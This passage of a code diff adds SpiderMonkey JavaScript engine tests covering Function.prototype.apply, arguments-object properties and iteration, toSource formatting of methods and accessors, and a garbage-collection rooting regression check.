+ assertEq(this, currentThis, "wrong this");
+}
+function strictFunLength()
+{
+ "use strict";
+ assertEq(arguments.length, 0, "should have been called with no arguments");
+ assertEq(this, currentThis, "wrong this");
+}
+
+currentThis = global;
+funLength.apply();
+funLength.apply(undefined);
+funLength.apply(undefined, undefined);
+funLength.apply(undefined, null);
+
+currentThis = undefined;
+strictFunLength.apply();
+strictFunLength.apply(undefined);
+strictFunLength.apply(undefined, undefined);
+strictFunLength.apply(undefined, null);
+
+currentThis = null;
+strictFunLength.apply(null);
+strictFunLength.apply(null, undefined);
+strictFunLength.apply(null, null);
+
+currentThis = thisObj;
+funLength.apply(thisObj);
+funLength.apply(thisObj, null);
+funLength.apply(thisObj, undefined);
+strictFunLength.apply(thisObj);
+strictFunLength.apply(thisObj, null);
+strictFunLength.apply(thisObj, undefined);
+
+currentThis = 17;
+strictFunLength.apply(17);
+strictFunLength.apply(17, null);
+strictFunLength.apply(17, undefined);
+
+function funThisPrimitive()
+{
+ assertEq(arguments.length, 0, "should have been called with no arguments");
+ assertEq(this instanceof currentThisBox, true,
+ "this not instanceof " + currentThisBox);
+ assertEq(this.valueOf(), currentThis,
+ "wrong this valueOf()");
+}
+
+currentThis = 17;
+currentThisBox = Number;
+funThisPrimitive.apply(17);
+funThisPrimitive.apply(17, undefined);
+funThisPrimitive.apply(17, null);
+
+currentThis = "foopy";
+currentThisBox = String;
+funThisPrimitive.apply("foopy");
+funThisPrimitive.apply("foopy", undefined);
+funThisPrimitive.apply("foopy", null);
+
+currentThis = false;
+currentThisBox = Boolean;
+funThisPrimitive.apply(false);
+funThisPrimitive.apply(false, undefined);
+funThisPrimitive.apply(false, null);
+
+
+/* Step 3. */
+var nonobjs = [1, -1, 2.5, "[[Call]]", true, false];
+for (var i = 0, sz = nonobjs.length; i < sz; i++)
+{
+ var f = function() { fun.apply(thisObj, nonobjs[i]); };
+ var msg = "should have thrown a TypeError with non-object arguments";
+ expectTypeError(f, msg);
+}
+
+
+/* Step 4. */
+var args = { get length() { throw 42; } };
+try
+{
+ fun.apply(thisObj, args);
+}
+catch (e)
+{
+ assertEq(e, 42, "didn't throw result of [[Get]] on arguments object");
+}
+
+
+/*
+ * NB: There was an erratum removing the steps numbered 5 and 7 in the original
+ * version of ES5; see also the comments in js_fun_apply.
+ */
+
+/* Step 5. */
+var called = false;
+var argsObjectLength =
+ { length: { valueOf: function() { called = true; return 17; } } };
+
+fun.apply({}, argsObjectLength);
+assertEq(called, true, "should have been set in valueOf called via ToUint32");
+
+var upvar = "unset";
+var argsObjectPrimitiveLength =
+ {
+ length:
+ {
+ valueOf: function() { upvar = "valueOf"; return {}; },
+ toString: function()
+ {
+ upvar = upvar === "valueOf" ? "both" : "toString";
+ return 17;
+ }
+ }
+ };
+fun.apply({}, argsObjectPrimitiveLength);
+assertEq(upvar, "both", "didn't call all hooks properly");
+
+
+/* Step 6-9. */
+var seenThis, res, steps;
+var argsAccessors =
+ {
+ length: 4,
+ get 0() { steps.push("0"); return 1; },
+ get 1() { steps.push("1"); return 2; },
+ // make sure values shine through holes
+ get 3() { steps.push("3"); return 8; },
+ };
+
+Object.prototype[2] = 729;
+
+seenThis = "not seen";
+function argsAsArray()
+{
+ seenThis = this;
+ steps.push(Math.PI);
+ return Array.prototype.map.call(arguments, function(v) { return v; });
+}
+
+steps = [];
+res = argsAsArray.apply(thisObj, argsAccessors);
+assertEq(seenThis, thisObj, "saw wrong this");
+
+assertEq(steps.length, 4, "wrong steps: " + steps);
+assertEq(steps[0], "0", "bad step 0");
+assertEq(steps[1], "1", "bad step 1");
+assertEq(steps[2], "3", "bad step 3");
+assertEq(steps[3], Math.PI, "bad last step");
+
+assertEq(res.length, 4, "wrong return: " + res);
+assertEq(res[0], 1, "wrong ret[0]");
+assertEq(res[1], 2, "wrong ret[0]");
+assertEq(res[2], 729, "wrong ret[0]");
+assertEq(res[3], 8, "wrong ret[0]");
+
+seenThis = "not seen";
+function strictArgsAsArray()
+{
+ "use strict";
+ seenThis = this;
+ steps.push(NaN);
+ return Array.prototype.map.call(arguments, function(v) { return v; });
+}
+
+steps = [];
+res = strictArgsAsArray.apply(null, argsAccessors);
+assertEq(seenThis, null, "saw wrong this");
+
+assertEq(steps.length, 4, "wrong steps: " + steps);
+assertEq(steps[0], "0", "bad step 0");
+assertEq(steps[1], "1", "bad step 1");
+assertEq(steps[2], "3", "bad step 3");
+assertEq(steps[3], 0 / 0, "bad last step");
+
+assertEq(res.length, 4, "wrong return: " + res);
+assertEq(res[0], 1, "wrong ret[0]");
+assertEq(res[1], 2, "wrong ret[0]");
+assertEq(res[2], 729, "wrong ret[0]");
+assertEq(res[3], 8, "wrong ret[0]");
+
+strictArgsAsArray.apply(17, argsAccessors);
+assertEq(seenThis, 17, "saw wrong this");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Function/Function-arguments-gc.js b/js/src/tests/non262/Function/Function-arguments-gc.js
new file mode 100644
index 0000000000..2504523362
--- /dev/null
+++ b/js/src/tests/non262/Function/Function-arguments-gc.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(Android)
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Christian Holler <decoder@own-hero.net>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 623301;
+var summary = "Properly root argument names during Function()";
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+if (typeof gczeal === "function")
+ gczeal(2);
+
+function crashMe(n)
+{
+ var nasty = [];
+ while (n--)
+ nasty.push("a" + n);
+ return Function.apply(null, nasty);
+}
+
+var count = 64; // exact value not important
+assertEq(crashMe(count + 1).length, count);
+
+if (typeof gczeal === "function")
+ gczeal(0); // reset
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Function/Function-prototype.js b/js/src/tests/non262/Function/Function-prototype.js
new file mode 100644
index 0000000000..218b1d54ca
--- /dev/null
+++ b/js/src/tests/non262/Function/Function-prototype.js
@@ -0,0 +1,11 @@
+var desc = Object.getOwnPropertyDescriptor(Function.prototype, "length");
+assertDeepEq(desc,
+ {value: 0, writable: false, enumerable: false, configurable: true});
+
+assertEq(Function.prototype.prototype, undefined);
+assertEq(Function.prototype.callee, undefined);
+assertThrowsInstanceOf(() => Function.prototype.caller, TypeError);
+assertThrowsInstanceOf(() => Function.prototype.arguments, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/Function-with-eval.js b/js/src/tests/non262/Function/Function-with-eval.js
new file mode 100644
index 0000000000..981abf2d04
--- /dev/null
+++ b/js/src/tests/non262/Function/Function-with-eval.js
@@ -0,0 +1,25 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(new Function(
+ "eval('var foo = 915805');" +
+ "return foo;"
+ )(),
+ 915805);
+
+assertEq(new Function(
+ "eval('function foo() {" +
+ "return 915805;" +
+ "}');" +
+ "return foo;"
+ )()(),
+ 915805);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Function/Object-toSource.js b/js/src/tests/non262/Function/Object-toSource.js
new file mode 100644
index 0000000000..16b2346fbf
--- /dev/null
+++ b/js/src/tests/non262/Function/Object-toSource.js
@@ -0,0 +1,373 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+var BUGNUMBER = 1317400;
+var summary = "Function string representation in Object.prototype.toSource";
+
+print(BUGNUMBER + ": " + summary);
+
+// Methods.
+
+assertEq(({ foo(){} }).toSource(),
+ "({foo(){}})");
+assertEq(({ *foo(){} }).toSource(),
+ "({*foo(){}})");
+assertEq(({ async foo(){} }).toSource(),
+ "({async foo(){}})");
+
+assertEq(({ 1(){} }).toSource(),
+ "({1(){}})");
+
+// Methods with more spacing.
+// Spacing is kept.
+
+assertEq(({ foo (){} }).toSource(),
+ "({foo (){}})");
+assertEq(({ foo () {} }).toSource(),
+ "({foo () {}})");
+
+// Methods with computed name.
+// Method syntax is composed.
+
+let name = "foo";
+assertEq(({ [name](){} }).toSource(),
+ "({foo(){}})");
+assertEq(({ *[name](){} }).toSource(),
+ "({*foo(){}})");
+assertEq(({ async [name](){} }).toSource(),
+ "({async foo(){}})");
+
+assertEq(({ [ Symbol.iterator ](){} }).toSource(),
+ "({[Symbol.iterator](){}})");
+
+// Accessors.
+
+assertEq(({ get foo(){} }).toSource(),
+ "({get foo(){}})");
+assertEq(({ set foo(v){} }).toSource(),
+ "({set foo(v){}})");
+
+// Accessors with computed name.
+// Method syntax is composed.
+
+assertEq(({ get [name](){} }).toSource(),
+ "({get foo(){}})");
+assertEq(({ set [name](v){} }).toSource(),
+ "({set foo(v){}})");
+
+assertEq(({ get [ Symbol.iterator ](){} }).toSource(),
+ "({get [Symbol.iterator](){}})");
+assertEq(({ set [ Symbol.iterator ](v){} }).toSource(),
+ "({set [Symbol.iterator](v){}})");
+
+// Getter and setter with same name.
+// Getter always comes before setter.
+
+assertEq(({ get foo(){}, set foo(v){} }).toSource(),
+ "({get foo(){}, set foo(v){}})");
+assertEq(({ set foo(v){}, get foo(){} }).toSource(),
+ "({get foo(){}, set foo(v){}})");
+
+// Normal properties.
+
+assertEq(({ foo: function(){} }).toSource(),
+ "({foo:(function(){})})");
+assertEq(({ foo: function bar(){} }).toSource(),
+ "({foo:(function bar(){})})");
+assertEq(({ foo: function*(){} }).toSource(),
+ "({foo:(function*(){})})");
+assertEq(({ foo: async function(){} }).toSource(),
+ "({foo:(async function(){})})");
+
+// Normal properties with computed name.
+
+assertEq(({ [ Symbol.iterator ]: function(){} }).toSource(),
+ "({[Symbol.iterator]:(function(){})})");
+
+// Dynamically defined properties with function expression.
+// Never become a method syntax.
+
+let obj = {};
+obj.foo = function() {};
+assertEq(obj.toSource(),
+ "({foo:(function() {})})");
+
+obj = {};
+Object.defineProperty(obj, "foo", {value: function() {}});
+assertEq(obj.toSource(),
+ "({})");
+
+obj = {};
+Object.defineProperty(obj, "foo", {value: function() {}, enumerable: true});
+assertEq(obj.toSource(),
+ "({foo:(function() {})})");
+
+obj = {};
+Object.defineProperty(obj, "foo", {value: function bar() {}, enumerable: true});
+assertEq(obj.toSource(),
+ "({foo:(function bar() {})})");
+
+obj = {};
+Object.defineProperty(obj, Symbol.iterator, {value: function() {}, enumerable: true});
+assertEq(obj.toSource(),
+ "({[Symbol.iterator]:(function() {})})");
+
+// Dynamically defined property with other object's method.
+// Method syntax is composed.
+
+let method = ({foo() {}}).foo;
+
+obj = {};
+Object.defineProperty(obj, "foo", {value: method, enumerable: true});
+assertEq(obj.toSource(),
+ "({foo() {}})");
+
+obj = {};
+Object.defineProperty(obj, "bar", {value: method, enumerable: true});
+assertEq(obj.toSource(),
+ "({bar() {}})");
+
+method = ({*foo() {}}).foo;
+
+obj = {};
+Object.defineProperty(obj, "bar", {value: method, enumerable: true});
+assertEq(obj.toSource(),
+ "({*bar() {}})");
+
+method = ({async foo() {}}).foo;
+
+obj = {};
+Object.defineProperty(obj, "bar", {value: method, enumerable: true});
+assertEq(obj.toSource(),
+ "({async bar() {}})");
+
+// Dynamically defined accessors.
+// Accessor syntax is composed.
+
+obj = {};
+Object.defineProperty(obj, "foo", {get: function() {}, enumerable: true});
+assertEq(obj.toSource(),
+ "({get foo() {}})");
+
+obj = {};
+Object.defineProperty(obj, "foo", {set: function() {}, enumerable: true});
+assertEq(obj.toSource(),
+ "({set foo() {}})");
+
+obj = {};
+Object.defineProperty(obj, Symbol.iterator, {get: function() {}, enumerable: true});
+assertEq(obj.toSource(),
+ "({get [Symbol.iterator]() {}})");
+
+obj = {};
+Object.defineProperty(obj, Symbol.iterator, {set: function() {}, enumerable: true});
+assertEq(obj.toSource(),
+ "({set [Symbol.iterator]() {}})");
+
+// Dynamically defined accessors with other object's accessors.
+// Accessor syntax is composed.
+
+let accessor = Object.getOwnPropertyDescriptor({ get foo() {} }, "foo").get;
+obj = {};
+Object.defineProperty(obj, "foo", {get: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({get foo() {}})");
+
+accessor = Object.getOwnPropertyDescriptor({ get bar() {} }, "bar").get;
+obj = {};
+Object.defineProperty(obj, "foo", {get: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({get foo() {}})");
+
+accessor = Object.getOwnPropertyDescriptor({ set foo(v) {} }, "foo").set;
+obj = {};
+Object.defineProperty(obj, "foo", {get: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({get foo(v) {}})");
+
+accessor = Object.getOwnPropertyDescriptor({ set bar(v) {} }, "bar").set;
+obj = {};
+Object.defineProperty(obj, "foo", {get: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({get foo(v) {}})");
+
+accessor = Object.getOwnPropertyDescriptor({ get foo() {} }, "foo").get;
+obj = {};
+Object.defineProperty(obj, "foo", {set: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({set foo() {}})");
+
+accessor = Object.getOwnPropertyDescriptor({ get bar() {} }, "bar").get;
+obj = {};
+Object.defineProperty(obj, "foo", {set: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({set foo() {}})");
+
+accessor = Object.getOwnPropertyDescriptor({ set foo(v) {} }, "foo").set;
+obj = {};
+Object.defineProperty(obj, "foo", {set: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({set foo(v) {}})");
+
+accessor = Object.getOwnPropertyDescriptor({ set bar(v) {} }, "bar").set;
+obj = {};
+Object.defineProperty(obj, "foo", {set: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({set foo(v) {}})");
+
+// Methods with proxy.
+// Treated as normal property.
+
+method = ({foo() {}}).foo;
+let handler = {
+ get(that, name) {
+ if (name == "toSource") {
+ return function() {
+ return that.toSource();
+ };
+ }
+ return that[name];
+ }
+};
+let proxy = new Proxy(method, handler);
+
+obj = {};
+Object.defineProperty(obj, "foo", {value: proxy, enumerable: true});
+assertEq(obj.toSource(),
+ "({foo:foo() {}})");
+
+// Accessors with proxy.
+// Accessor syntax is composed.
+
+accessor = Object.getOwnPropertyDescriptor({ get foo() {} }, "foo").get;
+proxy = new Proxy(accessor, handler);
+
+obj = {};
+Object.defineProperty(obj, "foo", {get: proxy, enumerable: true});
+assertEq(obj.toSource(),
+ "({get foo() {}})");
+
+obj = {};
+Object.defineProperty(obj, "foo", {set: proxy, enumerable: true});
+assertEq(obj.toSource(),
+ "({set foo() {}})");
+
+// Methods from other global.
+// Treated as normal property in the cross-compartment case.
+
+let g = newGlobal();
+
+method = g.eval("({ foo() {} }).foo");
+
+obj = {};
+Object.defineProperty(obj, "foo", {value: method, enumerable: true});
+assertEq((obj.toSource() === "({foo:foo() {}})" ||
+ obj.toSource() === "({foo() {}})"),
+ true);
+
+// Accessors from other global.
+// Accessor syntax is composed.
+
+accessor = g.eval("Object.getOwnPropertyDescriptor({ get foo() {} }, 'foo').get");
+
+obj = {};
+Object.defineProperty(obj, "foo", {get: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({get foo() {}})");
+
+accessor = g.eval("Object.getOwnPropertyDescriptor({ get bar() {} }, 'bar').get");
+
+obj = {};
+Object.defineProperty(obj, "foo", {get: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({get foo() {}})");
+
+accessor = g.eval("Object.getOwnPropertyDescriptor({ set foo(v) {} }, 'foo').set");
+
+obj = {};
+Object.defineProperty(obj, "foo", {get: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({get foo(v) {}})");
+
+accessor = g.eval("Object.getOwnPropertyDescriptor({ set bar(v) {} }, 'bar').set");
+
+obj = {};
+Object.defineProperty(obj, "foo", {get: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({get foo(v) {}})");
+
+accessor = g.eval("Object.getOwnPropertyDescriptor({ get foo() {} }, 'foo').get");
+
+obj = {};
+Object.defineProperty(obj, "foo", {set: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({set foo() {}})");
+
+accessor = g.eval("Object.getOwnPropertyDescriptor({ get bar() {} }, 'bar').get");
+
+obj = {};
+Object.defineProperty(obj, "foo", {set: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({set foo() {}})");
+
+accessor = g.eval("Object.getOwnPropertyDescriptor({ set foo(v) {} }, 'foo').set");
+
+obj = {};
+Object.defineProperty(obj, "foo", {set: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({set foo(v) {}})");
+
+accessor = g.eval("Object.getOwnPropertyDescriptor({ set bar(v) {} }, 'bar').set");
+
+obj = {};
+Object.defineProperty(obj, "foo", {set: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({set foo(v) {}})");
+
+// **** Some weird cases ****
+
+// Accessors with generator or async.
+
+obj = {};
+Object.defineProperty(obj, "foo", {get: function*() {}, enumerable: true});
+assertEq(obj.toSource(),
+ "({get foo() {}})");
+
+obj = {};
+Object.defineProperty(obj, "foo", {set: async function() {}, enumerable: true});
+assertEq(obj.toSource(),
+ "({set foo() {}})");
+
+// Modified toSource.
+
+obj = { foo() {} };
+obj.foo.toSource = () => "hello";
+assertEq(obj.toSource(),
+ "({hello})");
+
+obj = { foo() {} };
+obj.foo.toSource = () => "bar() {}";
+assertEq(obj.toSource(),
+ "({bar() {}})");
+
+// Modified toSource with different method name.
+
+obj = {};
+Object.defineProperty(obj, "foo", {value: function bar() {}, enumerable: true});
+obj.foo.toSource = () => "hello";
+assertEq(obj.toSource(),
+ "({foo:hello})");
+
+obj = {};
+Object.defineProperty(obj, "foo", {value: function* bar() {}, enumerable: true});
+obj.foo.toSource = () => "hello";
+assertEq(obj.toSource(),
+ "({foo:hello})");
+
+obj = {};
+Object.defineProperty(obj, "foo", {value: async function bar() {}, enumerable: true});
+obj.foo.toSource = () => "hello";
+assertEq(obj.toSource(),
+ "({foo:hello})");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/arguments-caller-callee.js b/js/src/tests/non262/Function/arguments-caller-callee.js
new file mode 100644
index 0000000000..57efd9eb91
--- /dev/null
+++ b/js/src/tests/non262/Function/arguments-caller-callee.js
@@ -0,0 +1,64 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'arguments-caller-callee.js';
+var BUGNUMBER = 514563;
+var summary = "arguments.caller and arguments.callee are poison pills in ES5, " +
+ "later changed in ES2017 to only poison pill arguments.callee.";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// behavior
+
+function expectTypeError(fun)
+{
+ try
+ {
+ fun();
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "expected TypeError calling function" +
+ ("name" in fun ? " " + fun.name : "") + ", instead got: " + e);
+ }
+}
+
+function bar() { "use strict"; return arguments; }
+assertEq(bar().caller, undefined); // No error when accessing arguments.caller in ES2017+
+expectTypeError(function barCallee() { bar().callee; });
+
+function baz() { return arguments; }
+assertEq(baz().callee, baz);
+
+
+// accessor identity
+
+function strictMode() { "use strict"; return arguments; }
+var canonicalTTE = Object.getOwnPropertyDescriptor(strictMode(), "callee").get;
+
+var args = strictMode();
+
+var argsCaller = Object.getOwnPropertyDescriptor(args, "caller");
+assertEq(argsCaller, undefined);
+
+var argsCallee = Object.getOwnPropertyDescriptor(args, "callee");
+assertEq("get" in argsCallee, true);
+assertEq("set" in argsCallee, true);
+assertEq(argsCallee.get, canonicalTTE);
+assertEq(argsCallee.set, canonicalTTE);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Function/arguments-extra-property.js b/js/src/tests/non262/Function/arguments-extra-property.js
new file mode 100644
index 0000000000..017734382d
--- /dev/null
+++ b/js/src/tests/non262/Function/arguments-extra-property.js
@@ -0,0 +1,33 @@
+var BUGNUMBER = 1263811;
+var summary = "GetElem for modified arguments shouldn't be optimized to get original argument.";
+
+print(BUGNUMBER + ": " + summary);
+
+function testModifyFirst() {
+ function f() {
+ Object.defineProperty(arguments, 1, { value: 30 });
+ assertEq(arguments[1], 30);
+ }
+ for (let i = 0; i < 10; i++)
+ f(10, 20);
+}
+testModifyFirst();
+
+function testModifyLater() {
+ function f() {
+ var ans = 20;
+ for (let i = 0; i < 10; i++) {
+ if (i == 5) {
+ Object.defineProperty(arguments, 1, { value: 30 });
+ ans = 30;
+ }
+ assertEq(arguments[1], ans);
+ }
+ }
+ for (let i = 0; i < 10; i++)
+ f(10, 20);
+}
+testModifyLater();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/arguments-iterator.js b/js/src/tests/non262/Function/arguments-iterator.js
new file mode 100644
index 0000000000..5610b8a245
--- /dev/null
+++ b/js/src/tests/non262/Function/arguments-iterator.js
@@ -0,0 +1,167 @@
+var BUGNUMBER = 992617;
+var summary = "Implement arguments[@@iterator].";
+
+print(BUGNUMBER + ": " + summary);
+
+// MappedArgumentsObject
+let mapped = [
+ function(a, b, c) {
+ assertEq(Symbol.iterator in arguments, true);
+ delete arguments[Symbol.iterator];
+ assertEq(Symbol.iterator in arguments, false);
+ },
+ function(a, b, c) {
+ delete arguments[Symbol.iterator];
+ assertEq(Symbol.iterator in arguments, false);
+ },
+ function(a, b, c) {
+ arguments[Symbol.iterator] = 10;
+ delete arguments[Symbol.iterator];
+ assertEq(Symbol.iterator in arguments, false);
+ },
+ function(a, b, c) {
+ Object.defineProperty(arguments, Symbol.iterator, {
+ value: 10, writable: true, enumerable: true, configurable: true
+ });
+ delete arguments[Symbol.iterator];
+ assertEq(Symbol.iterator in arguments, false);
+ },
+ function(a, b, c) {
+ assertEq(arguments[Symbol.iterator], Array.prototype[Symbol.iterator]);
+ },
+ function(a, b, c) {
+ assertEq(arguments[Symbol.iterator].name, "values");
+ },
+ function(a, b, c) {
+ var desc = Object.getOwnPropertyDescriptor(arguments, Symbol.iterator);
+ assertEq("value" in desc, true);
+ assertEq(desc.value, Array.prototype[Symbol.iterator]);
+ assertEq(desc.writable, true);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ },
+ function(a, b, c) {
+ var iter = arguments[Symbol.iterator]();
+ assertDeepEq(iter.next(), { value: 10, done: false });
+ assertDeepEq(iter.next(), { value: 20, done: false });
+ assertDeepEq(iter.next(), { value: 30, done: false });
+ assertDeepEq(iter.next(), { value: undefined, done: true });
+ },
+ function(a, b, c) {
+ assertDeepEq([...arguments], [10, 20, 30]);
+ },
+ function(a, b, c) {
+ b = 40;
+ assertDeepEq([...arguments], [10, 40, 30]);
+ },
+ function(a, b, c) {
+ arguments.length = 4;
+ assertDeepEq([...arguments], [10, 20, 30, undefined]);
+ },
+ function(a, b, c) {
+ arguments[5] = 50;
+ assertDeepEq([...arguments], [10, 20, 30]);
+ },
+ function(a, b, c) {
+ arguments[Symbol.iterator] = function*() {
+ yield 40;
+ yield 50;
+ yield 60;
+ };
+ assertDeepEq([...arguments], [40, 50, 60]);
+ },
+];
+for (let f of mapped) {
+ f(10, 20, 30);
+}
+
+var g1 = newGlobal();
+assertEq(g1.eval(`
+function f(a, b, c) {
+ return arguments[Symbol.iterator].name;
+}
+f(1, 2, 3);
+`), "values");
+
+// UnmappedArgumentsObject
+let unmapped = [
+ function([a], b, c) {
+ assertEq(Symbol.iterator in arguments, true);
+ delete arguments[Symbol.iterator];
+ assertEq(Symbol.iterator in arguments, false);
+ },
+ function([a], b, c) {
+ delete arguments[Symbol.iterator];
+ assertEq(Symbol.iterator in arguments, false);
+ },
+ function([a], b, c) {
+ arguments[Symbol.iterator] = 10;
+ delete arguments[Symbol.iterator];
+ assertEq(Symbol.iterator in arguments, false);
+ },
+ function([a], b, c) {
+ Object.defineProperty(arguments, Symbol.iterator, {
+ value: 10, writable: true, enumerable: true, configurable: true
+ });
+ delete arguments[Symbol.iterator];
+ assertEq(Symbol.iterator in arguments, false);
+ },
+ function([a], b, c) {
+ assertEq(arguments[Symbol.iterator], Array.prototype[Symbol.iterator]);
+ },
+ function([a], b, c) {
+ assertEq(arguments[Symbol.iterator].name, "values");
+ },
+ function([a], b, c) {
+ var desc = Object.getOwnPropertyDescriptor(arguments, Symbol.iterator);
+ assertEq("value" in desc, true);
+ assertEq(desc.value, Array.prototype[Symbol.iterator]);
+ assertEq(desc.writable, true);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ },
+ function([a], b, c) {
+ var iter = arguments[Symbol.iterator]();
+ assertDeepEq(iter.next(), { value: [10], done: false });
+ assertDeepEq(iter.next(), { value: 20, done: false });
+ assertDeepEq(iter.next(), { value: 30, done: false });
+ assertDeepEq(iter.next(), { value: undefined, done: true });
+ },
+ function([a], b, c) {
+ assertDeepEq([...arguments], [[10], 20, 30]);
+ },
+ function([a], b, c) {
+ b = 40;
+ assertDeepEq([...arguments], [[10], 20, 30]);
+ },
+ function([a], b, c) {
+ arguments.length = 4;
+ assertDeepEq([...arguments], [[10], 20, 30, undefined]);
+ },
+ function([a], b, c) {
+ arguments[5] = 50;
+ assertDeepEq([...arguments], [[10], 20, 30]);
+ },
+ function([a], b, c) {
+ arguments[Symbol.iterator] = function*() {
+ yield 40;
+ yield 50;
+ yield 60;
+ };
+ assertDeepEq([...arguments], [40, 50, 60]);
+ },
+];
+for (let f of unmapped) {
+ f([10], 20, 30);
+}
+
+var g2 = newGlobal();
+assertEq(g2.eval(`
+function f([a], b, c) {
+ return arguments[Symbol.iterator].name;
+}
+f([1], 2, 3);
+`), "values");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/arguments-parameter-shadowing.js b/js/src/tests/non262/Function/arguments-parameter-shadowing.js
new file mode 100644
index 0000000000..bc2b430112
--- /dev/null
+++ b/js/src/tests/non262/Function/arguments-parameter-shadowing.js
@@ -0,0 +1,22 @@
+// Test that var declarations of arguments "shadows" the arguments binding
+// used in parameter expressions.
+
+function g8(h = () => arguments) {
+ var arguments = 0;
+ assertEq(arguments, 0);
+ assertEq(arguments === h(), false);
+}
+g8();
+
+function g9(h = () => arguments) {
+ var arguments;
+ assertEq(void 0 === arguments, false);
+ assertEq(h(), arguments);
+ arguments = 0;
+ assertEq(arguments, 0);
+ assertEq(arguments === h(), false);
+}
+g9();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/arguments-property-attributes.js b/js/src/tests/non262/Function/arguments-property-attributes.js
new file mode 100644
index 0000000000..f50c1e6dad
--- /dev/null
+++ b/js/src/tests/non262/Function/arguments-property-attributes.js
@@ -0,0 +1,98 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'arguments-property-attributes.js';
+var BUGNUMBER = 516255;
+var summary = "Attributes for properties of arguments objects";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// normal
+
+function args() { return arguments; }
+var a = args(0, 1);
+
+var argProps = Object.getOwnPropertyNames(a).sort();
+assertEq(argProps.indexOf("callee") >= 0, true);
+assertEq(argProps.indexOf("0") >= 0, true);
+assertEq(argProps.indexOf("1") >= 0, true);
+assertEq(argProps.indexOf("length") >= 0, true);
+
+var calleeDesc = Object.getOwnPropertyDescriptor(a, "callee");
+assertEq(calleeDesc.value, args);
+assertEq(calleeDesc.writable, true);
+assertEq(calleeDesc.enumerable, false);
+assertEq(calleeDesc.configurable, true);
+
+var zeroDesc = Object.getOwnPropertyDescriptor(a, "0");
+assertEq(zeroDesc.value, 0);
+assertEq(zeroDesc.writable, true);
+assertEq(zeroDesc.enumerable, true);
+assertEq(zeroDesc.configurable, true);
+
+var oneDesc = Object.getOwnPropertyDescriptor(a, "1");
+assertEq(oneDesc.value, 1);
+assertEq(oneDesc.writable, true);
+assertEq(oneDesc.enumerable, true);
+assertEq(oneDesc.configurable, true);
+
+var lengthDesc = Object.getOwnPropertyDescriptor(a, "length");
+assertEq(lengthDesc.value, 2);
+assertEq(lengthDesc.writable, true);
+assertEq(lengthDesc.enumerable, false);
+assertEq(lengthDesc.configurable, true);
+
+
+// strict
+
+function strictArgs() { "use strict"; return arguments; }
+var sa = strictArgs(0, 1);
+
+var strictArgProps = Object.getOwnPropertyNames(sa).sort();
+assertEq(strictArgProps.indexOf("callee") >= 0, true);
+assertEq(strictArgProps.indexOf("caller") >= 0, false);
+assertEq(strictArgProps.indexOf("0") >= 0, true);
+assertEq(strictArgProps.indexOf("1") >= 0, true);
+assertEq(strictArgProps.indexOf("length") >= 0, true);
+
+var strictCalleeDesc = Object.getOwnPropertyDescriptor(sa, "callee");
+assertEq(typeof strictCalleeDesc.get, "function");
+assertEq(typeof strictCalleeDesc.set, "function");
+assertEq(strictCalleeDesc.get, strictCalleeDesc.set);
+assertEq(strictCalleeDesc.enumerable, false);
+assertEq(strictCalleeDesc.configurable, false);
+
+var strictCallerDesc = Object.getOwnPropertyDescriptor(sa, "caller");
+assertEq(strictCallerDesc, undefined);
+
+var strictZeroDesc = Object.getOwnPropertyDescriptor(sa, "0");
+assertEq(strictZeroDesc.value, 0);
+assertEq(strictZeroDesc.writable, true);
+assertEq(strictZeroDesc.enumerable, true);
+assertEq(strictZeroDesc.configurable, true);
+
